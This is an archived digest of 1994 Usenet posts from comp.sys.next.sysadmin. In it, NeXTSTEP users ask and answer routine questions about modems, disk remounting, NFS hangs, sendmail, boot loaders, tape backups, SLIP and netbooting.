NeXTmail to: warrior@churchst.ccs.itd.umich.edu
"The One True President of the Michigan NeXTSTEP Users Group."
-- NewsGrazer, a NeXTstep(tm) news reader, posting --
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From: Charles.M.Dudley.<warrior@churchst.ccs.itd.umich.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Michigan NeXTSTEP Users Group Opens Repository
Date: 27 Jan 1994 01:19:43 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <2i74rf$njj@terminator.rs.itd.umich.edu>
Keywords: minug, afs, nextstep
The NEXTSTEP User Repository on IFS is now available to anyuser who has
access to the "umich.edu" cell at the University of Michigan Ann Arbor.
Users can find documents related to up to date information on the NeXT World, tiffs and other assorted goods.
Users who wish to use this IFS ma
y do so, presently, free of charge. The directory is located at:
/afs/umich.edu/group/lsa/minug
There is read and look access for all users. There is also insert access for the Drop.box located in this directory.
Direct you additional questions and concerns to:
minug-secretary.general@umich.edu
--
Copyright 1994 Charles M. Dudley Charles.Dudley@umich.edu
NEXTSTEP User 313.308.3792
P. O. Box 130231 Ann Arbor, MI 48113
NeXTmail to: warrior@churchst.ccs.itd.umich.edu
"The One True President of the Michigan NeXTSTEP Users Group."Users Group."
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: NEXTSTEP Network and System Administration Manual hard copy
Date: 27 Jan 1994 02:15:42 GMT
Organization: University of Washington
Distribution: na
Message-ID: <2i784e$3n4@news.u.washington.edu>
For general information:
I posted a note recently asking whether NeXT included a copy of
the "NEXTSTEP Network and System Administration" manual with OS3.x
in addition to having it in the online documentation. Several people were kind
enough to email me indicating that NeXT did not distribute this manual in hard
copy but that the hard copy is available at bookstores.
From: bkr@drdhh.hanse.de (Bjoern Kriews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Adding a USR Sportster FAX modem
Date: 26 Jan 1994 16:15:10 +0100
Organization: Digital Island
Message-ID: <2i61du$gb5@drdhh.hanse.de>
References: <2hnlht$q06@agate.berkeley.edu> <1994Jan21.083116.11302@seer.demon.co.uk>
paul@seer.demon.co.uk (Paul Lynch) writes:
>The USR modems are an oddity: I keep on getting reports from the USA that
>people understand that they are class 2, but every time I call USR here
>they say that the class 2 upgrades aren't available yet.
As far as I know:
USR Sportster and USR V.32 Fax Upgrades are Class 1 since USR didn't
want to implement Class 2 before release of the standard.
The new USRterbo Modems have real (paper standard) Class 2 - but this
also seems to be a problem since they are among the first implementing
real Class 2 - so we have a software problem again.
>Good modems, though.
They are.
- Bjoern
--
bkr@drdhh.hanse.de - Bjoern Kriews - Stormsweg 6 - D-22085 Hamburg [76] - FRG
"Insisting on perfect safety is for people who don't have the balls to live
in the real world." -- Mary Shafer, NASA Ames Dryden
From: lusty@lusty.tamu.edu (Lusty Wench)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Removiing swapfile from too full disk
Date: 27 Jan 1994 02:24:00 GMT
Organization: Me
Message-ID: <2i78k0$jdm@news.tamu.edu>
References: <2i6u9c$nfp@alamut.cognet.ucla.edu>
In article <2i6u9c$nfp@alamut.cognet.ucla.edu>,
William M. Eldridge <bill@alamut.cognet.ucla.edu> wrote:
>Anyway, the disk is full, I want to elimate the swapfile
>on rebooting, but I only seem to be able to boot with
>a read-only filesystem, or else the machine tries to
>swap to /var and hangs with a "disk full" error.
Is this a FAQ? I know it's happened to me and I found
out by a lot of fumbling :)
mount -o rw,remount <fsname> <dir>
for example
mount -o rw,remount /dev/sd0a /
Lusty
Newsgroups: comp.sys.next.sysadmin
From: david@ictv.com (David LeVine, david@ictv.com, 408-562-9250)
Subject: 3.2 periodically hangs, NFS possibly?
Message-ID: <1994Jan27.033623.24813@ictv.com>
Organization: ICTV, Santa Clara, CA (408) 562-9200
Date: Thu, 27 Jan 1994 03:36:23 GMT
We've recently upgraded several black systems from 3.1 to 3.2 and
periodically some of them hang. The only thing we can identify that
is common is that any attempt to access /usr/spool/mail (which is NFS
mounted from a Sun) seems to hang after the system has been up for a
while. Rebooting clears things up for a few days, however, the problem
comes back regularly. We suspect an NFS lock or lockout problem.
Anyone seen this? Any pointers or ideas?
--
David LeVine ICTV
AT&T: 408-562-9250 280 Martin Avenue
E-mail: david@ictv.com Santa Clara, CA 94050-4320
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Problem with UUCP and domain name
Message-ID: <1994Jan27.000224.10763@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <kpompeiCK5K43.Got@netcom.com>
Date: Thu, 27 Jan 1994 00:02:24 GMT
Kevin,
It sounds like you need to add the following line to your sendmail
configuration file:
# Names that are recognized as local
Cwyour_uucp_name your_domain_name
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consultant
In article <kpompeiCK5K43.Got@netcom.com> kpompei@netcom.com (Kevin
Pompei) writes:
> Excuse me if the answer to this question is obvious; I am new
> to using UUCP and system administration.
>
> I recently setup a UUCP connection with a network provider.
> So far everything seems to be working OK when email is sent
> to my UUCP address. However, recently I registered a domain
> name. When mail is sent to my domain, the mail is delivered
> to my system but not forwarded on to the user, instead it is
> qued back to my network provider.
>
> Other than entering my local hostname and NIS Domain name into
> HostManager, is there anything else I need to do to get my mail
> delivered?
>
> Thanks,
> Kevin Pompei
>
> --
> kpompei@netcom.com
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
From: jpw@sansfoy.lib.Virginia.EDU (John Price-Wilkin)
Subject: fold [ -b] [ -s] [ -w Width ] [ File... ]
Message-ID: <CK9qLt.HCy@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Thu, 27 Jan 1994 03:20:17 GMT
Most interesting subject I could make for this. That's "fold"
from the RS/6000. On the NeXT, we don't have "-s" and for
the life of me I can't find a Width number that isn't a "bad
number." Is there something comparable? I'm afraid fmt won't
always get it. Am I wrong?
jpw@virginia.edu
From: dwalker@cup.portal.com (David - Walker)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DOS ate my NeXTSTEP boot loader!
Message-ID: <102126@cup.portal.com>
Date: Wed, 26 Jan 94 23:44:56 PST
Organization: The Portal System (TM)
Distribution: usa
References: <1994Jan26.180440.17528@ictv.com>
Yes, and no.
6.2 rewrites your boot record, (I did the same thing). The work around is
to use FDISK to activate the NeXT partition. When you want to run DOS again
you will need to boot from a flopy with FDISK on it .... I'm sure ther is a
util in NeXT to activate partitions , but I dont know what it is.
I'm on the lookout for a better Boot Manager than NeXT's. When I find it
I'll let you know.
-Dave
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: mark@ve6mgs.ampr.org (Mark G. Salyzyn)
Subject: Re: Dot matrix printer drivers
Organization: ADEC Systems Inc.
Distribution: na
Date: Wed, 26 Jan 94 20:51:30 GMT
Message-ID: <1994Jan26.205130.28355@ve6mgs.ampr.org>
References: <2hk5r2INN5kk@network.ucsd.edu>
ridgway@inls3.tmc.edu (Doug Ridgway) writes:
>My situation is that I have a Canon BJ200, which is Proprinter compatible.
>The Next supplied driver works okay, but only seems to support 180dpi.
That is all this, and the other dot matrix printers are realy capable of. The
additional effort to use their 360dpi capability is not worth it since non
of these printers are allowed to have two 360dpi dots next to eachother.
This means to do 360dpi, one would have to run two passes (typically) to catch
all the horizontal dot positions. There is not enough print head resolution
to do this accurately on two passes. In addition, the already painfully slow
printing that 24 pin printers do, would more than double the time to print
(I walk away and come back *much* later when I do colour 24 pin pages) with
no apparent increase in resolution (due to the print head resolution) ...
The NeXT box could handle the problem rendering an image in core, I guess,
but swapping would be the name of the game, making it still slower trying
to create the raster image for the printer.
This is all defeatest, I guess ...
Besides, I don't know why you would want 360dpi for a printer that has dots
in the order of .005" in diameter ...
Ciao -- Mark
From: ah@fml.tuwien.ac.at (Andreas Haleger)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DOS ate my NeXTSTEP boot loader!
Date: 27 Jan 1994 12:09:13 GMT
Organization: Technical University Vienna, Austria
Distribution: usa
Message-ID: <2i8at9$nos@email.tuwien.ac.at>
References: <102126@cup.portal.com>
In article <102126@cup.portal.com> dwalker@cup.portal.com (David - Walker)
writes:
> Yes, and no.
>
> 6.2 rewrites your boot record, (I did the same thing). The work around
is
> to use FDISK to activate the NeXT partition. When you want to run DOS
again
> you will need to boot from a flopy with FDISK on it .... I'm sure ther
is a
> util in NeXT to activate partitions , but I dont know what it is.
>
You can restore the boot manager. Try fdisk -useBoot0.
--
== Andreas ==
Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail
accepted.
From: fasano@nic.cerf.net (Christopher G. Fasano)
Newsgroups: comp.sys.next.sysadmin
Subject: NXHost over Slip under 3.2
Date: 27 Jan 1994 13:08:12 GMT
Organization: CERFnet Dial n' CERF Customer
Message-ID: <2i8ebs$875@news.cerf.net>
Hello,
I have been trying unsuccessfully to get NXHost to work over my
SLIP connection. Everything else (ping, telnet, ftp, X11 via coXist)
seems to work, but not NXHost. I have set my Preferences such that I
am a Public Window Server. The error message is something like:
"DPS client library error: could not form connection with host name"
Does any one have any idea how to get this to work?
Please respond via E-mail to
fasano@scarolina.cerfnet.com
I don;t usually read this group....
Thanks,
Chris Fasano
Dept. of Chemistry and Physics
Francis Marion Univ.
Florence, SC
USA
From: arzt@dccs.upenn.edu (Noam H. Arzt)
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.2 Motorola freezing up! HELP!
Date: 27 Jan 1994 13:59:28 GMT
Organization: University of Pennsylvania
Message-ID: <2i8hc0$khi@netnews.upenn.edu>
Ever since I upgraded to NS 3.2 on my 25mHz NeXTstation I have been
experienceing COMPLETE freeze-ups. BY that I mean no system panic, but complete
loss of keyboard response including CMD-CMD-~. I need to unplug and start
again. It may be unrelated to the upgrade, but I'm not sure. It's happened 3
times in the past 2 days, but the machine was fine for at least 5 days just
after the upgrade (which I did last week).
The only other clue I have is some messages in the /usr/adm/messages file just
before each freeze that indicate "mach: spurious DMA interrupt: channel
0x2000110". These messages occur occassionally without a freezeup as well.
Any advise?
Thanks in advance. Please send e-mail.
--
Dr. Noam Arzt 215/898-3029 (voice)
Director, Finance, Administration & Systems 215/898-9348 (FAX)
University of Pennsylvania arzt@dccs.upenn.edu
Data Communications & Computing Services (NeXTmail is OK)
Suite 221A, 3401 Walnut Street, Philadelphia, PA 19104
From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: nwu.comp.sys.next,nwu.networks.admin,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Still slip on NeXT
Date: 27 Jan 1994 14:53:55 GMT
Organization: The Institute for the Learning Sciences
Message-ID: <2i8ki3$sa5@anaxagoras.ils.nwu.edu>
I have gone through a lot in an attempt to get slip up and running on
my NeXT. First I had to over come a problem with tcldiald not modifying
the kernel correctly. I have taken care of that prob now I am getting the
following messages:
dialupreq has no active reader
dialupip: This software has expired and is now stale.
dutimer: unit 0 - shutdown, we never had a line.
dutnetclose: ds 10f76000 dstty 0 unit 0
If anyone out there has any clue whatsoever as to what this might be
or why the hell it is so tough to get this thing running on /my/
NeXT (Cube 040) I would really appreciate it.
thanks
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From: jds@aplexus.jhuapl.edu (John D Stanhope)
Subject: Does tip still work under 3.2
Message-ID: <CKAK1q.J02@netnews.jhuapl.edu>
Keywords: tip, zmodem
Sender: usenet@netnews.jhuapl.edu
Organization: Johns Hopkins U. Applied Physics Lab
Date: Thu, 27 Jan 1994 13:56:14 GMT
I recently upgraded to NS/i 3.2 and now I can no longer
reliably transfer files under tip. It seems to be dropping
characters. Under 3.1 the console would say the terminal had
a tty over run when chars were dropped, but I haven't seen
this message yet under 3.2. Has anyone else seen this problem?
Along the same lines, how can I get zmodem to work under tip?
That is, what are the sequence of commands necesarry to get the
tipped machine sending and my machine receiving?
Thanks
--John
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unreliable.
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Newsgroups: comp.sys.next.sysadmin
From: kent@infoserv.com
Subject: Re: 3.0: loginwindow: can't find WindowServer port!
Message-ID: <CK9vIt.wo@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <CK7Kox.1r4@news2.cis.umn.edu>
Distribution: na
Date: Thu, 27 Jan 1994 05:06:28 GMT
In article <CK7Kox.1r4@news2.cis.umn.edu> scott@geom.umn.edu (Scott S.
Bertilson) writes:
# We're seeing this on a netinfo server...the system boots and runs
#(and appears to serve the NI domain without problems), but the login
#window never comes up. "windowserver" and "loginwindow" both show
#up in "ps", but we get:
# Jan 25 16:41:37 pascal loginwindow[191]: loginwindow: could not find
WindowServer port!
#in "/usr/adm/messages" about every 45 seconds (and a new process id
#for both processes).
# We can't seem to find anything that gives a clue as to where this
#problem comes from. I suppose it is another Netinfo gotcha, but I'd
#sure like to know what obscure entry in the database causes it.
# Thanks, Scott S. Bertilson
I've seen this problem on my Dimension after using preferences.
When this happened I booted single user and deleteted the NI
database extensions. After doing that the machine booted fine.
Kent
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From: horst@il.us.swissbank.com (Ted Horst)
Subject: 3.0 Backup Program
Message-ID: <1994Jan27.161354.2348@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Thu, 27 Jan 1994 16:13:54 GMT
Hi,
Does anyone have any recommendations for a backup program for 3.0 ?
I have heard good things about SafetyNet, but it only works on >= 3.1.
Please let me know by email, randy@singlesrc.com, as this is being posted
by a colleauge.
Thanks,
Randy Nelson <randy@singlesrc.com>
Single Source Systems, Inc.
(317) 253-0665
posted by Ted Horst, please reply to randy directly.
Disclaimer: No statements made in this article should be construed to
reflect the opinions of Swiss Bank or Single Source Systems. All opinions
are wholly my own, and I am solely responsible for my statements.
Newsgroups: comp.sys.next.sysadmin
From: fabien@free.fdn.org (Fabien Roy)
Subject: Re: Tape problems
Message-ID: <1994Jan26.230001.892@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <2i0toa$i89@fermat.mayo.edu>
Date: Wed, 26 Jan 1994 23:00:01 GMT
In article <2i0toa$i89@fermat.mayo.edu> ray@tiberius (Ray Ghanbari)
writes:
>
> Hi Folks,
>
> I'm having some problems archiving data to a DAT drive, but I am not
> experienced enough with tape archiving to know if I am having a
> command syntax problem, a problem with the tape driver, a faulty tape
> drive, or something else.
>
> Details:
>
> NS/Intel 3.2 running on an Intel GX/P with Adaptec 1542 SCSI card.
> Exabyte EXB-4200c 4mm DAT drive on the SCSI chain with 1 external
harddrive
>
> I can create archives using gnutar and tar with no problems. However,
> when I try to append to archives already on a tape, I invariably get
> an I/O error. Here is an example:
>
> root:20# tar cvf /dev/rst0 test.spg
> a test.spg 152 blocks
> root:21# tar rvf /dev/rst0 test2.spg
> tar: tape backspace error: I/O error
> root:22# tar tvf /dev/rst0
> rw-r--r-- 0/1 77620 Jan 24 10:09 1994 test.spg
> root:23#
>
> gnutar reports an I/O error after seeking to the end of the archive,
> without any other hints as to what is happening.
>
> I can extract archived files without problems.
>
> In summary, I can create archives and extract archives using gnutar
> and tar, but I can not append to existing tape archives. Any
> suggestions?
>
> Thanks
>
> Ray Ghanbari
> Mayo Foundation
> ray@mayo.edu (NeXTmail OK)
>
>
>
>
>
>
>
> --
> Ray Ghanbari
> Mayo Foundation
> ray@mayo.edu
Did you test it on the non-rewinding device /dev/nrst0
Cheers
--Fabien
___________________________________________________________________
Fabien Roy fabien@free.fdn.org
NeXTmail OK
From: emstech@improv.music.mcgill.ca
Newsgroups: comp.sys.next.sysadmin
Subject: NS3.1 or NS3.2 ?
Date: 27 Jan 1994 18:29:11 GMT
Organization: McGill Research Centre for Intelligent Machines
Message-ID: <2i915n$agn@Chart.McRCIM.McGill.EDU>
We have a LAN of 10 NextStation, 7 on NS2.1, 1 on NS3.0 and 2 on NS3.1.
The server and the mail server are on NS2.1.
We want to upgrade all the machines to NS3.X version.
My problem is I don't know if we should go for NS3.1 or 3.2. In the past
we almost upgraded all of our machines to 3.0, but we found out that 2.1
was more reliable.
We now have two 3.1 systems they seem pretty okay.
I am just not sure that 3.2 is not another bad upgrade, like 3.0 was.
I will appreciate any comment that will help me decide which version I
should buy.
One ting is sure we can't stay with our NS2.1 system, most of the new
software won't work.
Will they be any major problem if NS3.0, 3.1 & 3.2 share the same LAN?
And at last, will the NextStep developer kit that came with 3.1 work on
3.2 ?
Thanks,
Alain
Mcgill University, Music Faculty
emstech@music.mcgill.ca
From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Removiing swapfile from too full disk
Date: 27 Jan 1994 18:52:41 GMT
Organization: Department of Biological Sciences, Stanford University
Message-ID: <MAGNUS.94Jan27105241@fisher.Stanford.EDU>
References: <2i6u9c$nfp@alamut.cognet.ucla.edu> <2i78k0$jdm@news.tamu.edu>
In-reply-to: lusty@lusty.tamu.edu's message of 27 Jan 1994 02:24:00 GMT
> >Anyway, the disk is full, I want to elimate the swapfile
> >on rebooting, but I only seem to be able to boot with
> >a read-only filesystem, or else the machine tries to
> >swap to /var and hangs with a "disk full" error.
> Is this a FAQ? I know it's happened to me and I found
> out by a lot of fumbling :)
> mount -o rw,remount <fsname> <dir>
> for example
> mount -o rw,remount /dev/sd0a /
Also, I am told that it is better to remove some other files and have
the reboot truncate the swapfile than removing it directly. This is
because performance is decreased when a brand new 16 MB swapfile is
created on a rather full filesystem.
--
Magnus Nordborg
magnus@fisher.stanford.edu (NeXT mail welcome)
Department of Biological Sciences
Stanford University
Stanford, CA 94305-5020
+1 (415) 723-4952 (office)
Newsgroups: comp.sys.next.sysadmin
From: chris@its.com (Chris Cuilla)
Subject: Token-ring, NEXTSTEP & routers
Message-ID: <1994Jan27.200828.4025@il.us.swissbank.com>
Keywords: token-ring NEXTSTEP routers
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Thu, 27 Jan 1994 20:08:28 GMT
If someone wants to configure a network with Token-Ring, 3-4 NEXTSTEP
machines on one ring, and a bunch more on another ring, both nets
communicating via a network router...is there any problem with this?
--
Chris Cuilla
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From: vincent@cad.gatech.edu (Vincent Fox)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: fax software
Date: 27 Jan 1994 15:56:06 -0500
Organization: Deep Thirteen, Gizmonics Institute
Distribution: usa
Message-ID: <2i99p6$fju@cae.cad.gatech.edu>
I hooked up a Supra 144LC to serial port A, went into Print Manager
and tried to define it as a Class 2 fax-modem. Seemed to work, but
when I try to send stuff to the NeXT I can't connect.
Any clues here?
I investigated the Gnu fax program, and efax. Couldn't compile either
due to references to stuff in unistd.h and termios.h, which NS 2.0
doesn't have.
--
"Politics is the art of looking for trouble, finding it everywhere,
diagnosing it incorrectly and then applying the wrong remedies." - G. Marx
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next.sysadmin
From: yiannis@prologos.nrl.navy.mil (John Michopoulos)
Subject: Hot keyed keyboard to load custom keyboard mappings????
Message-ID: <CKB59v.92@ra.nrl.navy.mil>
Sender: usenet@ra.nrl.navy.mil
Organization: Naval Research Lab, Washington, DC
Date: Thu, 27 Jan 1994 21:34:42 GMT
Does anybody know of a way to make some keys "hot" so when they are pressed
they load a particular xxx.keymapping without having to use the "use" button of
the "Keyboard.app" ???
I guess my question can be parsed to two questions:
1. Is there any "hot key" and any keyboard macro capability in NeXTSTEP 3.x on
black hardware?
2. How does one load in software a " xxxx.keymapping" to take effect on the
keyboard (something that the Keyboard.app is obviously doing)?
I would greatly appreciate any help you can send me
Thanks
--john m.
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From: alby@grendel.UU.NET (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Removiing swapfile from too full disk
Date: 27 Jan 1994 21:52:02 GMT
Organization: UUNET Communications
Distribution: world
Message-ID: <2i9d22$7oj@news.UU.NET>
References: <2i6u9c$nfp@alamut.cognet.ucla.edu> <2i78k0$jdm@news.tamu.edu> <MAGNUS.94Jan27105241@fisher.Stanford.EDU>
I have my swap setup to startup at 8MB instead of 16MB..
In article <MAGNUS.94Jan27105241@fisher.Stanford.EDU>, magnus@fisher.Stanford.EDU (Magnus Nordborg) writes:
|> > >Anyway, the disk is full, I want to elimate the swapfile
|> > >on rebooting, but I only seem to be able to boot with
|> > >a read-only filesystem, or else the machine tries to
|> > >swap to /var and hangs with a "disk full" error.
|>
|>
|> > Is this a FAQ? I know it's happened to me and I found
|> > out by a lot of fumbling :)
|>
|> > mount -o rw,remount <fsname> <dir>
|>
|> > for example
|>
|> > mount -o rw,remount /dev/sd0a /
|>
|> Also, I am told that it is better to remove some other files and have
|> the reboot truncate the swapfile than removing it directly. This is
|> because performance is decreased when a brand new 16 MB swapfile is
|> created on a rather full filesystem.
|> --
|>
|> Magnus Nordborg
|> magnus@fisher.stanford.edu (NeXT mail welcome)
|> Department of Biological Sciences
|> Stanford University
|> Stanford, CA 94305-5020
|> +1 (415) 723-4952 (office)
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
From: cedman@princeton.edu (Carl Edman)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: Can you change the default app for any given file type?
Message-ID: <CEDMAN.94Jan26223359@capitalist.princeton.edu>
Date: 27 Jan 94 03:33:58 GMT
References: <1994Jan24.180058.26018@beaver.cs.washington.edu>
<2i74pg$330@access1.digex.net>
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
In-Reply-To: rlion@access1.digex.net's message of 27 Jan 94 01:18:40 GMT
To: rlion@access1.digex.net (Eli Rosenblatt)
Originator: news@nimaster
In article <2i74pg$330@access1.digex.net> rlion@access1.digex.net (Eli Rosenblatt) writes:
In article <1994Jan24.180058.26018@beaver.cs.washington.edu>,
Daniel Fineman <fineman@cs.washington.edu> wrote:
>Hey all - i recently downloaded Emacs for NeXTStep, and i'd much
>rather have text files loaded into Emacs than Edit when you
>double-click on them. Can you change this somehow? I can't see a way
>to change any of this in the workspace preferences.... there's only
>one option for which app to open - how can you add another one?
under inspector (Workspace -> tools -> inspector) you can go to
contents and choose what to load up the program in.
Yep, but emacs won't ever show there (without the posted dwrite).
If you find that emacs is not loaded in as an option, then you can
try running the program (emacs) while you load it up. It sound
wierd, but I was trying to get SoundCheck.app to play sounds
instead of Sound.app and it wasn't on the list, so I tried a bunch
of stuff to get NeXTstep to recognize it and it seemed that
actually having the app runinng while i went to contents inspector
seemed to work..
Is it possible that a) SoundCheck.app was not in your Workspace
application path ? b) you have not logged out and in again since
installing SoundCheck.app ?
Carl Edman
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: AppleShare under OS3.2
Date: 27 Jan 1994 22:16:24 GMT
Organization: University of Washington
Distribution: na
Message-ID: <2i9efo$mtl@news.u.washington.edu>
Keywords: AppleShare,OS3.2
I recently upgraded to NeXT OS3.2 and am interested in accessing files on our
local AppleShare network. In the NeXT System Administration on-line
documentation there is a discussion of how to enable AppleShare through the
Preferences application. The on-line info. indicates that there is (i.e.,
should be) a button with the picture of an apple on it in Preferences. My
OS3.2 preferences does not seem to have this "feature" and I'm wondering if
there is some magical trick necessary to invoke AppleShare functionality.
Thanks!
Jim Luby
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: Current version of NextAnswers
Date: 27 Jan 1994 22:23:28 GMT
Organization: University of Washington
Distribution: na
Message-ID: <2i9et0$n5k@news.u.washington.edu>
Keywords: NextAnswers
"In the olden days" it was possible to ftp a compressed tar file from the NeXT
ftp site that contained all of the NeXTAnswers information. Recently I logged
onto the NeXT ftp site and it seems like a current, comparable file does not
exist. Rather, it appears that one must download individual NeXTAnswer files.
I find it hard to believe that it is not possible to download everything at
once now and suspect that I just don't know where to look in the archive.
Thanks in advance to anyone that can point me in the right direction in this
regard.
Jim Luby
Newsgroups: comp.sys.next.sysadmin
From: leonid@tuna.uchicago.edu (Leonid Andreev)
Subject: Question: Exporting NEXT printer to non-NeXT network.
Message-ID: <LEONID.94Jan27191329@tuna.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago CILS
References: <2i9et0$n5k@news.u.washington.edu>
Distribution: na
Date: Fri, 28 Jan 1994 01:08:06 GMT
I just added a NeXTstation to our network of SUN computers. Does any
kind soul know how to enable these SUN computers to print remoterly
on the printer attached to the NeXT?
I spent about half a day trying to do that, but apparently failed...
:(
thanx very much,
would appreciate any form of help.
-Leonid
From: "Jeremy G. Mereness" <zonker+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin
Subject: Booting from a CD
Date: Thu, 27 Jan 1994 13:56:52 -0500
Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA
Message-ID: <ghG0to200iMFEJe0Qt@andrew.cmu.edu>
This is something for an FAQ, but I haven't found it.
How does one boot a NeXT computer from a cdrom drive? It seems to work
if the machine is a Turbo, but non-Turbo machines never seem to see the
cdrom on the SCSI chain, even with explicit commands like..
b sd(1,0,0)sdmach rootdev=sd1
the cdrom won't even spin, and the machine comes back saying the drive
isn't there.
Is there some command that reliably boots a generic NeXT computer (or
cube) from an external cdrom?
Thanks in Advance!
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From: doyle@prufrock.rockefeller.edu (Mark D. Doyle)
Newsgroups: comp.sys.next.sysadmin
Subject: Second board in a Cube in a NetInfo Network
Message-ID: <1994Jan27.193931.24469@rockyd.rockefeller.edu>
Organization: Rockefeller University
Date: Thu, 27 Jan 94 19:39:30 EST
Hi all,
I have a rather tricky problem that I hope someone will be able to help
me with. The goal is to have a second board in a cube act as a print server
for the network. The last remaining hurdle is that the second board (call
it epb) is supposed to be a netboot client of the main board (phlebas). Now
both epb and phlebas are NetInfo clients of prufrock, our NetInfo server.
The problem is that when epb tries to netboot, it gets a response from
prufrock to its BOOTP request and then it tries to mount it's root directory
from phlebas. And this is the problem since phlebas is still busy trying to
boot itself. So epb fails to mount its root directory and panics. So basically
my question boils down to "Is there away to prevent prufrock from responding
to epb's BOOTP request so that epb has to wait for phlebas to fulfill the
request (since at that point phlebas will be ready to export its root
directory)?"
Here are some other issues that prevent some solutions:
1) I don't have a second monitor to permanently attach to the epb board.
Instead, in order to fool the WindowServer into starting, which is
necessary to enable printing, I have a sound board connected to it.
With the sound board connected you can't use serial port A to run the
boot process because the ROM requires nothing to be attached to the
monitor port in order to use the serial port.
2) I need phlebas to be a netinfo client of prufrock so that networked
users can use there accounts from it.
Well, I am open to suggestions. One possible answer might be to make
another tier in the netinfo domain so that phlebas is the netinfo server
for epb, but I am not sure that this will prevent prufrock (the master
server) from answering the BOOTP request. Any hints would be welcomed.
Thanks,
Mark Doyle
doyle@theory.rockefeller.edu
From: klui@corp.hp.com (Ken Lui)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Current version of NextAnswers
Date: 28 Jan 1994 02:00:00 GMT
Organization: Hewlett-Packard Company
Distribution: na
Message-ID: <2i9rj0$gdv@hpscit.sc.hp.com>
References: <2i9et0$n5k@news.u.washington.edu>
Keywords: NextAnswers
In article <2i9et0$n5k@news.u.washington.edu>,
James C. Luby <jcl@yonext.apl.washington.edu> wrote:
>I find it hard to believe that it is not possible to download everything at
>once
There is a file that contains all of NeXTanswers. It should be
in ftp.next.com:~ftp/pub/NeXTanswers/NA.compressed. Watch out
because it's roughly 13MB.
Ken
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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: bebeada@elof.acc.iit.edu (Adam Beberg)
Subject: Seeking improved fingerd/finger code...
Message-ID: <1994Jan28.020645.14988@iitmax.iit.edu>
Keywords: fingerd finger
Sender: news@iitmax.iit.edu (News)
Organization: Illinois Institute of Technology, Chicago
Date: Fri, 28 Jan 94 02:06:45 GMT
Greetings...
I'm looking for source for improved versions of fingerd to provide aditional
services, i.e. mail messages to the fingerie etc. I have gotten the standard
bsd fingerd code but it does just about nothing...
Any improvements would be appreciated, please post in comp.sys.next.programmers
or mail me...
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From: scorley@advtech.uswest.com
Subject: Quantum 1225S won't write
Message-ID: <1994Jan28.012713.6199@advtech.uswest.com>
Sender: news@advtech.uswest.com (Radio Free Boulder)
Organization: U S WEST Advanced Technologies
Date: Fri, 28 Jan 1994 01:27:13 GMT
I thought I posted this question here last week, but it doesn't show up on
News Grazer, so here it is again:
I bought a Quantum ProDrive 1225S for a TurboColor NeXTstation. I can run
disk -F /dev/rsd1a on the drive to format it and it appears to format it
OK. However, when I attempt to initialize the drive it fails immediately.
It seems to write the disk label OK, but will fail as soon as any attempt
is made to write to the drive. I've tried formatter and sdformat with no
luck (same problem - fails when an attempt is made to write). I've tried
sample disktabs and that didn't work. I tried scsitools and it couldn't
write anything to the drive.
Does anyone out there know what the hell is going on here? Note, the drive
is good, the scsi id is OK, the cables are good, the power is plugged in.
As soon as I boot my slab using its good internal drive and log in as
root, it asks me if I want to ignore, initialize, repair my 1.2gig Quantum
that I connect as the external drive. I've selected repair and initialize,
but it doesn't matter, it always fails with a write error.
I've called NeXT - two boneheads say they've never heard of a failure to
initialize a scsi drive on a NeXTstation (I guess they haven't been
reading net news since 1990). Quantum swears that they obey all SCSI 1 and
SCSI 2 (for this particular drive) commands.
I have formatted and initialized the drive in a SUN, MAC, and Intel-based
NeXTStep box, so it's not the drive - it works fine. I even formatted it
on a MAC II Ci, place a couple of files on it, hooked it up to my slab and
it sees it fine when it comes up. However, as soon as I tried to drag a
file to it, it fails the write operation.
Any ideas let me know. You can even call me if convenient for you. I'm on
303-541-6123.
Steve Corley
U S WEST Advanced Technologies,
Boulder, Colorado (scorley@advtech.uswest.com)
Thanks in advance
From: wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong)
Newsgroups: comp.sys.next.sysadmin
Subject: restore (was setting SUID on dump/restore)
Date: 28 Jan 1994 04:14:59 GMT
